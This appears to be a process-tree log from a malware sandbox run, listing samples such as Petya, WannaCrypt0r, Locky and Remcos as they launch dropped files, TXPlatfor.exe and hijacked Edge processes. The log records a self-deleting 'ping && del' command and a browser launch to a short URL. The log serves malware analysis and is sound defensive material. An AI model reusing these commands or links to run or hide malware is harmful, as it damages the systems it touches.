C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Petya.A.exe"C:\Users\Admin\Desktop\Red-Flaged\Petya.A.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\MyDoom.A.exe"C:\Users\Admin\Desktop\Red-Flaged\MyDoom.A.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\file.exe"C:\Users\Admin\Desktop\Red-Flaged\file.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe"C:\Users\Admin\Desktop\Red-Flaged\_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe"C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe"1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe"C:\Users\Admin\Desktop\Red-Flaged\_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe"1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD__529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exeC:\Users\Admin\Desktop\Red-Flaged\HD__529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe"C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe"C:\Users\Admin\Desktop\Red-Flaged\_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exeC:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-043L8.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp"C:\Users\Admin\AppData\Local\Temp\is-043L8.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp" /SL5="$A04AE,1370523,1281024,C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"4⤵
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://2no.co/2f8nx52⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x36c,0x7ff97a96f208,0x7ff97a96f214,0x7ff97a96f2204⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1752,i,3644215021798355210,17552265834816287787,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:114⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2596,i,3644215021798355210,17552265834816287787,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2172,i,3644215021798355210,17552265834816287787,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3408,i,3644215021798355210,17552265834816287787,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3400,i,3644215021798355210,17552265834816287787,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:14⤵
-
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Petya.A.exe"C:\Users\Admin\Desktop\Red-Flaged\Petya.A.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\InfinityCrypt.exe"C:\Users\Admin\Desktop\Red-Flaged\InfinityCrypt.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_30f515392358142b507a486d7ab379d2.exe"C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_30f515392358142b507a486d7ab379d2.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_337dd03f1d287dcdb6471704d14aa3b6.exe"C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_337dd03f1d287dcdb6471704d14aa3b6.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_2363f93331fc792ae9cb5750043bdc89.exe"C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_2363f93331fc792ae9cb5750043bdc89.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Locky.exe"C:\Users\Admin\Desktop\Red-Flaged\Locky.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\mCa4SRR.exe"C:\Users\Admin\Desktop\Red-Flaged\mCa4SRR.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\MyDoom.A.exe"C:\Users\Admin\Desktop\Red-Flaged\MyDoom.A.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\N-W0rm.exe"C:\Users\Admin\Desktop\Red-Flaged\N-W0rm.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\uncext.exe"C:\Users\Admin\Desktop\Red-Flaged\uncext.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Product Sample pdf.exe"C:\Users\Admin\Desktop\Red-Flaged\Product Sample pdf.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\realtek.exe"C:\Users\Admin\Desktop\Red-Flaged\realtek.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\Remcos.exe"C:\Users\Admin\Desktop\Red-Flaged\Remcos.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\rPO-25-063.exe"C:\Users\Admin\Desktop\Red-Flaged\rPO-25-063.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\rWaybillNo_4630813235.exe"C:\Users\Admin\Desktop\Red-Flaged\rWaybillNo_4630813235.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\SecuriteInfo.com.Trojan.PackedNET.3443.29781.26666.exe"C:\Users\Admin\Desktop\Red-Flaged\SecuriteInfo.com.Trojan.PackedNET.3443.29781.26666.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\setup.exe"C:\Users\Admin\Desktop\Red-Flaged\setup.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\WannaCrypt0r.exe"C:\Users\Admin\Desktop\Red-Flaged\WannaCrypt0r.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Cyborg_DECRYPT.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exeC:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://2no.co/2f8nx52⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x36c,0x7ff97a96f208,0x7ff97a96f214,0x7ff97a96f2204⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1820,i,18275088768173218727,3434253503841944712,262144 --variations-seed-version --mojo-platform-channel-handle=2652 /prefetch:114⤵
-
-
